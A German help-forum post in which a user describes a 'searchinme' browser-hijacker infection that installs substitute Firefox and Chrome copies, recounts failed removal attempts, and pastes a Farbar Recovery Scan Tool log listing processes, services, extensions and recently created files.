Searchinme.com installiert eigenes Firefox & Chrome

Azarath · 15.04.2017, 12:18

Guten Tag,

ich plage mich schon ein paar Wochen mit dem Problem herum, deswegen könnten die Informationen stellenweise etwas vage sein:

Infektion
Auf der Suche nach einem Programm zur Bearbeitung von *.dll-Stringtabellen hatte ich ein mit R beginnendes Program installiert und mir damit die Probleme eingefangen. Das Program selbst gabs irgendwie nicht, war wohl nur ein Bündel Malware. Inzwischen nutze ich den Resource Hacker, also der wars nicht.

Symptome
Die Malware ist auch auf google als "searchinme" weitläufig auffindbar, aber die Informationen zu deren Entfernung sind entweder veraltet oder einfach falsch. Ebenso wird hier auf dem trojaner-board noch von einer Modifikation des Original Firefox ausgegangen: http://www.trojaner-board.de/180874-...entfernen.html
Anzumerken ist, dass ich für Lesezeichen, Addons, etc. die Firefox-"Pocket"-Funktion benutze.

Zunächst stürzt Firefox ab. Versucht man neu zu starten, erscheint mit den bekannten Tabs ein weiterer, der die searchinme-Suche vorweist. Scheinbar wird auch nur die Startseite gekapert und alle Suchanfragen in der Adressleiste auf searchinme oder manchmal auch andere solche fake-Suchmaschinen umgeleitet, telera oder was auch immer. Der empfohlene "Refresh" von Firefox und dergleichen bringen jedoch nichts, denn wie ich feststellen durfte läuft das infizierte Firefox auch nach Deinstallation von Firefox. Die Schadware greift das eigentliche Programm nicht an, sondern installiert eine infizierte Version von FF und Google Chrome und stellt alle Verknüpfungen darauf um.

Ab und an kämpft die Malware auch mit Avira, das die Quarantäne-Abteilung füllt, und hängt den eigentlich flüssig laufenden Rechner für eine oder zwei Minuten auf, aber das wars dann auch. Die Quarantäne-Kiste zu löschen war irgendwie auch keine gute Idee, das hatte irgendwie die Büchse der Pandora geöffnet, den Rechner für eine Weile lahmgelegt und alles mögliche wieder installiert.

Gegenmaßnahmen
Zunächst hatte ich auch noch irgendein angebliches Fix-Program, den Protokollen nach SpyHunter, versucht und mir damit vermutlich weitere Probleme eingehandelt. Eines von der Sorte, die alle Probleme finden und dann Geld wollen, also vermutlich von den inme-Herstellern selbst hochgeladen, grandioses Geschäftsmodell

Nachdem ich den ganzen Schmarrn deinstalliert hatte und auch das mit Firefox herausfand, schien die Entfernung denkbar einfach:
Unter \Programme (x86) findet man nach Änderungsdatum sortiert mit Zeitpunkt der Übernahme etwa fünf neue irgendwie benannte Ordner, die sogleich in den Papierkorb wandern. Die Verknüpfungen im Startmenü und der Schnellstartleiste werden angeklickt, unter anderem auch Chrome, das auf dem Rechner eigentlich gar nicht existieren sollte, finden nichts und können gelöscht, und die firefox.exe wieder in die Schnellstartleiste gezogen werden.

Irgendwann wurde Avira auch auch superaggressiv gestellt.

Aktueller Stand
Nach ein paar Tagen Ruhe taucht inme aber wieder und wieder auf. Firefox-Absturz, Programme tauchen auf, Verknüpfungen, ein paar Minuten mit Avira ringen. Die Programm-Ordner habe ich vorhin leider schon permanent gelöscht, aber die Quarantäne ist noch ziemlich voll:

Adware/ELEX.nwhip, auch in den Versionen urvkf, rbwxc, exevr, nwhip nochmal, mcdzw ..
Adware/HPDefender
.. an der Stelle dann die Logs, auf die man hier verwiesen wurd:
http://www.trojaner-board.de/69886-a...-beachten.html

startpageing123 und Antanna werden in den Protokollen noch angegeben, die gehören auch zum Schadware-Paket.

FRST.txt

Code:

ATTFilter

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 15-03-2017 (ACHTUNG: ====> FRSTVersion ist 31 Tage alt und könnte veraltet sein)
durchgeführt von X (Administrator) auf WONDERLAND (15-04-2017 11:01:59)
Gestartet von C:\Users\X\Downloads
Geladene Profile: X (Verfügbare Profile: X)
Platform: Windows 7 Professional N Service Pack 1 (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: "C:\Program Files (x86)\Firefox\Firefox.exe" -osint -url "%1")
Start-Modus: Normal
Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(AMD) C:\Windows\System32\atiesrxx.exe
(AMD) C:\Windows\System32\atieclxx.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\sched.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avscan.exe
(Advanced Micro Devices) C:\Program Files\AMD\{920DEC42-4CA5-4d1d-9487-67BE645CDDFC}\amdacpusrsvc.exe
(AMD) C:\Program Files (x86)\AMD\RAIDXpert\bin\RAIDXpertService.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avguard.exe
() C:\Program Files (x86)\AMD\RAIDXpert\bin\RAIDXpert.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Launcher\Avira.ServiceHost.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Advanced Micro Devices, Inc.) C:\Program Files (x86)\ATI Technologies\AMDUSB3DeviceDetector\nusb3mon.exe
(AppEx Networks Corporation) C:\Program Files\AMD Quick Stream\AMDQuickStream.exe
() C:\Program Files (x86)\WizMouse\WizMouse.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avgnt.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avshadow.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\RadeonSettings.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avshadow.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Launcher\Avira.Systray.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
() C:\Windows\SysWOW64\WinMsgBalloonServer.exe
() C:\Windows\SysWOW64\WinMsgBalloonClient.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avcenter.exe
(Don HO don.h@free.fr) C:\Program Files\Notepad++\notepad++.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [13513288 2013-03-29] (Realtek Semiconductor)
HKLM\...\Run: [NUSB3MON] => C:\Program Files (x86)\ATI Technologies\AMDUSB3DeviceDetector\nusb3mon.exe [97280 2012-04-11] (Advanced Micro Devices, Inc.)
HKLM-x32\...\Run: [Avira SystrayStartTrigger] => C:\Program Files (x86)\Avira\Launcher\Avira.SystrayStartTrigger.exe [63432 2017-03-09] (Avira Operations GmbH & Co. KG)
HKLM-x32\...\Run: [avgnt] => C:\Program Files (x86)\Avira\Antivirus\avgnt.exe [909744 2017-03-22] (Avira Operations GmbH & Co. KG)
HKLM-x32\...\Run: [HDAudDeck] => C:\Program Files (x86)\VIA\VIAudioi\VDeck\VDeck.exe [2489456 2010-12-17] (VIA)
HKU\S-1-5-21-1784197383-2851143437-1385219817-1000\...\Run: [Voobly] => C:\Program Files (x86)\Voobly\voobly.exe [159744 2017-02-04] (Voobly)
HKU\S-1-5-21-1784197383-2851143437-1385219817-1000\...\Run: [AppEx Accelerator UI] => C:\Program Files\AMD Quick Stream\AMDQuickStream.exe [488640 2015-04-06] (AppEx Networks Corporation)
HKU\S-1-5-21-1784197383-2851143437-1385219817-1000\...\Run: [WizMouse] => C:\Program Files (x86)\WizMouse\WizMouse.exe [119000 2013-09-22] ()
HKLM\...\Providers\f0qglkhl: C:\Program Files (x86)\Sadentphafeing Collector\local64spl.dll
ShellExecuteHooks: Kein Name - {8D58F49E-03A6-11E7-8708-64006A5CFC23} - C:\Users\X\AppData\Roaming\Plicase\Atfoly.dll -> Keine Datei

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)

Tcpip\Parameters: [DhcpNameServer] 192.168.2.1
Tcpip\..\Interfaces\{57E3890D-1C50-4CAF-B781-B30BBA34FB90}: [DhcpNameServer] 192.168.2.1
Tcpip\..\Interfaces\{FB57F2B7-8772-4E0F-9415-F3B882A8F201}: [DhcpNameServer] 192.168.0.1

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.startpageing123.com/?type=hp&ts=1489669419&z=043df5204b1d15a93db715bg7z3b9t5q7q0t0zdofo&from=che0812&uid=ADATAXSU800_2G4320080350
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.msn.com/
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = 
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = 
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = 
HKLM\Software\Microsoft\Internet Explorer\Main,Local Page = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Local Page = 
HKU\S-1-5-21-1784197383-2851143437-1385219817-1000\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.msn.com/
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = 
SearchScopes: HKLM-x32 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = 
SearchScopes: HKU\S-1-5-21-1784197383-2851143437-1385219817-1000 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = 

FireFox:
========
FF DefaultProfile: bl95j71d.default
FF ProfilePath: C:\Users\X\AppData\Roaming\Mozilla\Firefox\Profiles\bl95j71d.default [2017-04-15]
FF Session Restore: Mozilla\Firefox\Profiles\bl95j71d.default -> ist aktiviert.
FF Extension: (uBlock Origin) - C:\Users\X\AppData\Roaming\Mozilla\Firefox\Profiles\bl95j71d.default\Extensions\uBlock0@raymondhill.net.xpi [2017-04-11]
FF Extension: (NoScript) - C:\Users\X\AppData\Roaming\Mozilla\Firefox\Profiles\bl95j71d.default\Extensions\{73a6fe31-595d-460b-a920-fcc0f8843232}.xpi [2017-03-28]
FF Extension: (User Agent Switcher) - C:\Users\X\AppData\Roaming\Mozilla\Firefox\Profiles\bl95j71d.default\Extensions\{e968fc70-8f95-4ab9-9e79-304de2a71ee1}.xpi [2017-04-10]
FF Extension: (Disable Prefetch) - C:\Users\X\AppData\Roaming\Mozilla\Firefox\Profiles\bl95j71d.default\features\{a1bf4a8a-6d86-4412-be56-647d6c618213}\disable-prefetch@mozilla.org.xpi [2017-04-04]
FF ProfilePath: C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default [2017-04-15]
FF Extension: (SimilarWeb) - C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default\Extensions\@DA3566E2-F709-11E5-8E87-A604BC8E7F8B.xpi [2017-04-10] [ist nicht signiert]
FF Extension: (FF Adr) - C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-04-10] [ist nicht signiert]
FF Extension: (Deutsch (DE) Language Pack) - C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default\Extensions\langpack-de@firefox.mozilla.org.xpi [2017-04-15] [ist nicht signiert]
FF Extension: (uBlock Origin) - C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default\Extensions\uBlock0@raymondhill.net.xpi [2017-04-11]
FF Extension: (NoScript) - C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default\Extensions\{73a6fe31-595d-460b-a920-fcc0f8843232}.xpi [2017-03-28]
FF Extension: (User Agent Switcher) - C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default\Extensions\{e968fc70-8f95-4ab9-9e79-304de2a71ee1}.xpi [2017-04-10]
FF Extension: (Disable Prefetch) - C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default\features\{a1bf4a8a-6d86-4412-be56-647d6c618213}\disable-prefetch@mozilla.org.xpi [2017-04-04]
FF SearchPlugin: C:\Users\X\AppData\Roaming\Firefox\Firefox\Profiles\bl95j71d.default\searchplugins\startsearch.xml [2017-04-15]
FF Extension: (Site Deployment Checker) - C:\Program Files (x86)\Mozilla Firefox\browser\features\deployment-checker@mozilla.org.xpi [2017-03-29] [ist nicht signiert]
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_25_0_0_148.dll [2017-04-15] ()
FF Plugin: @videolan.org/vlc,version=2.2.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_25_0_0_148.dll [2017-04-15] ()
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll [Keine Datei]
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll [Keine Datei]

Chrome: 
=======
CHR HKLM\...\Chrome\Extension: [flliilndjeohchalpbbcdekjklbdgfkk] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [flliilndjeohchalpbbcdekjklbdgfkk] - hxxps://clients2.google.com/service/update2/crx

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 AMD FUEL Service; C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe [351944 2015-11-13] (Advanced Micro Devices, Inc.)
R2 amdacpusrsvc; C:\Program Files\AMD\{920DEC42-4CA5-4d1d-9487-67BE645CDDFC}\amdacpusrsvc.exe [121856 2016-12-23] (Advanced Micro Devices) [Datei ist nicht signiert]
S2 AntiVirMailService; C:\Program Files (x86)\Avira\Antivirus\avmailc7.exe [1115552 2017-03-22] (Avira Operations GmbH & Co. KG)
R2 AntiVirSchedulerService; C:\Program Files (x86)\Avira\Antivirus\sched.exe [487432 2017-03-22] (Avira Operations GmbH & Co. KG)
R2 AntiVirService; C:\Program Files (x86)\Avira\Antivirus\avguard.exe [487432 2017-03-22] (Avira Operations GmbH & Co. KG)
S2 AntiVirWebService; C:\Program Files (x86)\Avira\Antivirus\avwebg7.exe [1519136 2017-03-22] (Avira Operations GmbH & Co. KG)
R2 AppleAzureSrv; C:\ProgramData\Software\Apple\Apps\Notification.dll [105472 2017-04-14] () [Datei ist nicht signiert]
R2 AppleSrv; C:\ProgramData\Apple\Apple Application\DeviceCfg.dll [126976 2017-03-17] () [Datei ist nicht signiert]
R2 Avira.ServiceHost; C:\Program Files (x86)\Avira\Launcher\Avira.ServiceHost.exe [349560 2017-03-09] (Avira Operations GmbH & Co. KG)
S2 SNARER; C:\Windows\System32\svchost.exe [27136 2009-07-14] (Microsoft Corporation)
S2 SNARER; C:\Windows\SysWOW64\svchost.exe [20992 2009-07-14] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2017-02-09] (Microsoft Corporation)
S2 WinSAPSvc; C:\windows\system32\svchost.exe [27136 2009-07-14] (Microsoft Corporation)
S2 WinSAPSvc; C:\windows\SysWOW64\svchost.exe [20992 2009-07-14] (Microsoft Corporation)
S2 asComSvc; C:\Program Files (x86)\ASUS\AXSP\1.00.14\atkexComSvc.exe [X]
S4 asHmComSvc; C:\Program Files (x86)\ASUS\AAHM\1.00.14\aaHMSvc.exe [X]
S4 AsSysCtrlService; C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.11\AsSysCtrlService.exe [X]
S2 FirefoxU; "C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe" [X]
S2 gupdate; "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc [X]
S3 gupdatem; "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /medsvc [X]
S2 WinSnare; C:\Users\X\AppData\Roaming\WinSnare\WinSnare.dll [X] <==== ACHTUNG

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

S3 AiCharger; C:\Windows\SysWow64\drivers\AiCharger.sys [14848 2012-03-22] (ASUSTek Computer Inc.)
R2 amdacpksd; C:\Windows\system32\drivers\amdacpksd.sys [305544 2016-12-23] (Advanced Micro Devices)
R2 AODDriver4.3; C:\Program Files\AMD\ATI.ACE\Fuel\amd64\AODDriver2.sys [59616 2014-02-11] (Advanced Micro Devices)
R2 APXACC; C:\Windows\System32\DRIVERS\appexDrv.sys [229056 2015-04-03] (AppEx Networks Corporation)
R1 AsIO; C:\Windows\SysWow64\drivers\AsIO.sys [13440 2010-08-24] ()
R1 AsUpIO; C:\Windows\SysWow64\drivers\AsUpIO.sys [14464 2010-08-03] ()
R3 ASUSFILTER; C:\Windows\SysWow64\drivers\ASUSFILTER.sys [46152 2011-09-20] (MCCI Corporation)
R2 avgntflt; C:\Windows\System32\DRIVERS\avgntflt.sys [176968 2017-03-02] (Avira Operations GmbH & Co. KG)
R1 avipbb; C:\Windows\System32\DRIVERS\avipbb.sys [148104 2017-03-02] (Avira Operations GmbH & Co. KG)
R1 avkmgr; C:\Windows\System32\DRIVERS\avkmgr.sys [35328 2017-03-02] (Avira Operations GmbH & Co. KG)
R2 avnetflt; C:\Windows\System32\DRIVERS\avnetflt.sys [78600 2017-03-02] (Avira Operations GmbH & Co. KG)
R0 avusbflt; C:\Windows\System32\Drivers\avusbflt.sys [51248 2017-03-02] (Avira Operations GmbH & Co. KG)
S3 L1C; C:\Windows\System32\DRIVERS\L1C62x64.sys [129224 2013-07-16] (Qualcomm Atheros Co., Ltd.)
S4 secdrv; C:\Windows\SysWow64\Drivers\secdrv.sys [11376 2003-09-02] () [Datei ist nicht signiert]
S2 AODDriver4.01; \??\C:\Program Files\ATI Technologies\ATI.ACE\Fuel\amd64\AODDriver2.sys [X]
S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-04-15 11:01 - 2017-04-15 11:02 - 00014479 _____ C:\Users\X\Downloads\FRST.txt
2017-04-15 11:00 - 2017-04-15 11:01 - 02424832 _____ (Farbar) C:\Users\X\Downloads\FRST64.exe
2017-04-15 11:00 - 2017-04-15 11:01 - 00000000 ____D C:\FRST
2017-04-15 10:57 - 2017-04-15 10:58 - 00003109 _____ C:\Users\X\Desktop\trojanboard.txt
2017-04-15 09:35 - 2017-04-15 09:35 - 00000000 ____D C:\Users\X\AppData\Local\Alltie
2017-04-15 09:35 - 2017-04-15 09:35 - 00000000 ____D C:\ProgramData\Software
2017-04-10 21:51 - 2017-04-10 21:51 - 00000000 ____D C:\Users\X\AppData\Local\Antanna
2017-04-10 21:51 - 2017-04-10 21:51 - 00000000 ____D C:\ProgramData\common
2017-04-07 08:02 - 2017-04-15 09:34 - 00003554 _____ C:\Windows\System32\Tasks\Milimili
2017-04-07 08:02 - 2017-04-07 08:02 - 00003494 _____ C:\Windows\System32\Tasks\Windows-PG
2017-04-07 08:02 - 2017-04-07 08:02 - 00000000 ____D C:\Update
2017-04-04 05:36 - 2017-04-04 05:36 - 00020164 _____ C:\Users\X\AppData\Local\recently-used.xbel
2017-04-03 23:30 - 2017-04-03 23:30 - 00114352 _____ (GameRanger Technologies) C:\Users\X\Downloads\GameRangerSetup.exe
2017-04-03 23:30 - 2017-04-03 23:30 - 00001028 _____ C:\Users\X\Desktop\GameRanger.lnk
2017-04-03 23:30 - 2017-04-03 23:30 - 00001014 _____ C:\Users\X\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\GameRanger.lnk
2017-04-03 23:30 - 2017-04-03 23:30 - 00000000 ____D C:\Users\X\AppData\Roaming\GameRanger
2017-03-31 16:00 - 2017-03-31 16:00 - 00000987 _____ C:\Users\X\Desktop\AoM Map Tool.lnk
2017-03-31 16:00 - 2017-03-31 16:00 - 00000000 ____D C:\Users\X\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AoM Map Tool
2017-03-31 16:00 - 2017-03-31 16:00 - 00000000 ____D C:\Program Files (x86)\AoM Map Tool
2017-03-31 15:59 - 2017-03-31 15:59 - 00177301 _____ C:\Users\X\Downloads\AoM Map Tool Installer.zip
2017-03-31 15:59 - 2017-03-31 15:59 - 00000000 ____D C:\Users\X\Downloads\AoM Map Tool Installer
2017-03-31 15:15 - 2017-03-31 15:15 - 00000831 _____ C:\Users\X\Desktop\010 Editor.lnk
2017-03-31 15:15 - 2017-03-31 15:15 - 00000000 ____D C:\Users\X\Documents\SweetScape
2017-03-31 15:15 - 2017-03-31 15:15 - 00000000 ____D C:\Users\X\AppData\Roaming\SweetScape
2017-03-31 15:15 - 2017-03-31 15:15 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\010 Editor
2017-03-31 15:15 - 2017-03-31 15:15 - 00000000 ____D C:\Program Files\010 Editor
2017-03-31 15:14 - 2017-03-31 15:15 - 20224416 _____ (SweetScape Software ) C:\Users\X\Downloads\010EditorWin64Installer702.exe
2017-03-30 21:56 - 2017-03-31 00:14 - 00004945 _____ C:\Users\X\Desktop\calc.txt
2017-03-29 17:12 - 2017-04-05 08:20 - 00003074 _____ C:\Users\X\Desktop\def_phanta.txt
2017-03-28 14:13 - 2017-03-28 14:14 - 00000000 ____D C:\Users\X\Desktop\bewerbung**
2017-03-25 18:07 - 2017-04-15 07:39 - 00802904 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2017-03-25 18:07 - 2017-04-15 07:39 - 00144472 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-03-25 18:07 - 2017-04-15 07:39 - 00004378 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-03-25 18:04 - 2017-03-25 18:04 - 00089543 _____ C:\Users\X\Downloads\Machinations.swf
2017-03-22 15:06 - 2017-04-04 05:36 - 00000000 ____D C:\Users\X\AppData\Local\gtk-2.0
2017-03-21 00:15 - 2017-03-21 00:15 - 00275288 _____ C:\Windows\Minidump\032017-12573-01.dmp
2017-03-20 23:21 - 2017-04-15 09:37 - 00000000 ____D C:\Users\X\AppData\LocalLow\Mozilla
2017-03-20 23:19 - 2017-03-20 23:20 - 00156608 _____ C:\Windows\ntbtlog.txt
2017-03-20 23:10 - 2017-03-20 23:10 - 00000000 ____D C:\Users\X\AppData\Roaming\Avira
2017-03-20 21:18 - 2017-03-20 21:18 - 00001136 _____ C:\Users\Public\Desktop\Avira Connect.lnk
2017-03-20 21:15 - 2017-03-20 21:15 - 00000000 ____D C:\ProgramData\d2211717-5ce3-0
2017-03-20 21:15 - 2017-03-20 21:15 - 00000000 ____D C:\ProgramData\d2211717-1727-1
2017-03-20 21:12 - 2017-03-20 21:12 - 00024056 _____ C:\Windows\System32\Tasks\{0B047847-047A-087D-7A11-7D0A0D781109}
2017-03-20 21:12 - 2017-03-20 21:12 - 00003548 _____ C:\Windows\System32\Tasks\Fix It Task
2017-03-20 21:12 - 2017-03-20 21:12 - 00000065 _____ C:\Windows\wininit.ini
2017-03-20 21:12 - 2017-03-20 21:12 - 00000000 ____D C:\ProgramData\8f0f2046-68f5-1
2017-03-20 21:12 - 2017-03-20 21:12 - 00000000 ____D C:\ProgramData\8f0f2046-47d5-0
2017-03-20 21:03 - 2017-03-20 21:03 - 00006022 _____ C:\Windows\System32\Tasks\Sadentphafeing Collector
2017-03-20 16:05 - 2017-03-29 20:13 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-03-20 16:05 - 2017-03-29 20:13 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2017-03-20 16:05 - 2017-03-20 23:26 - 00000000 ____D C:\Users\X\AppData\Local\Mozilla
2017-03-20 16:05 - 2017-03-20 23:21 - 00000000 ____D C:\Users\X\AppData\Roaming\Mozilla
2017-03-20 16:02 - 2017-03-20 16:02 - 00245496 _____ C:\Users\X\Downloads\Firefox Setup Stub 52.0.1.exe
2017-03-20 15:25 - 2017-03-20 15:25 - 00000000 _____ C:\autoexec.bat
2017-03-20 15:22 - 2017-03-20 15:22 - 04615856 _____ (Enigma Software Group USA, LLC.) C:\Users\X\Downloads\SpyHunter-Installer.exe
2017-03-20 00:48 - 2017-03-20 00:48 - 00028352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\aspnet_counters.dll
2017-03-20 00:48 - 2017-03-20 00:48 - 00019112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcr110_clr0400.dll
2017-03-20 00:48 - 2017-03-20 00:48 - 00019112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcr100_clr0400.dll
2017-03-20 00:48 - 2017-03-20 00:48 - 00019112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcp110_clr0400.dll
2017-03-20 00:41 - 2017-03-20 00:41 - 00030400 _____ (Microsoft Corporation) C:\Windows\system32\aspnet_counters.dll
2017-03-20 00:41 - 2017-03-20 00:41 - 00019112 _____ (Microsoft Corporation) C:\Windows\system32\msvcr110_clr0400.dll
2017-03-20 00:41 - 2017-03-20 00:41 - 00019112 _____ (Microsoft Corporation) C:\Windows\system32\msvcr100_clr0400.dll
2017-03-20 00:41 - 2017-03-20 00:41 - 00019112 _____ (Microsoft Corporation) C:\Windows\system32\msvcp110_clr0400.dll
2017-03-17 16:36 - 2017-03-17 16:36 - 00000000 ____D C:\Users\X\AppData\Roaming\Firefox
2017-03-17 16:36 - 2017-03-17 16:36 - 00000000 ____D C:\Users\X\AppData\Local\Firefox
2017-03-17 16:35 - 2017-04-15 09:38 - 00000000 _____ C:\Users\Public\Documents\temp.dat
2017-03-17 16:35 - 2017-04-15 09:35 - 00000000 _____ C:\Users\Public\Documents\report.dat
2017-03-17 16:35 - 2017-03-17 16:35 - 00000000 ____D C:\Windows\system32\log
2017-03-17 16:35 - 2017-03-17 16:35 - 00000000 ____D C:\ProgramData\Apple
2017-03-17 16:35 - 2017-03-17 16:35 - 00000000 _____ C:\Windows\SysWOW64\4
2017-03-17 16:35 - 2017-03-17 16:35 - 00000000 _____ C:\Windows\SysWOW64\3
2017-03-17 16:35 - 2016-05-23 04:41 - 00055056 _____ (Elex do Brasil Participações Ltda) C:\Windows\system32\Drivers\iSafeKrnlBoot.sys
2017-03-17 16:35 - 2016-05-19 08:42 - 00052392 _____ (Elex do Brasil Participações Ltda) C:\Windows\system32\Drivers\iSafeNetFilter.sys
2017-03-17 01:04 - 2017-03-20 23:08 - 00000000 ____D C:\Users\X\Downloads\backups
2017-03-17 01:01 - 2017-03-17 01:01 - 00388608 _____ (Trend Micro Inc.) C:\Users\X\Downloads\HijackThis.exe
2017-03-16 15:03 - 2017-03-16 15:03 - 00000000 ____D C:\Users\X\AppData\Roaming\aMule

==================== Ein Monat: Geänderte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-04-15 10:34 - 2017-02-20 02:29 - 00001100 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2017-04-15 10:16 - 2017-01-08 01:56 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-04-15 09:45 - 2009-07-14 06:50 - 00028336 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2017-04-15 09:45 - 2009-07-14 06:50 - 00028336 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2017-04-15 09:40 - 2011-04-12 10:14 - 02093674 _____ C:\Windows\system32\perfh007.dat
2017-04-15 09:40 - 2011-04-12 10:14 - 00581510 _____ C:\Windows\system32\perfc007.dat
2017-04-15 09:40 - 2009-07-14 07:12 - 00006208 _____ C:\Windows\system32\PerfStringBackup.INI
2017-04-15 09:36 - 2017-02-20 02:29 - 00001096 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
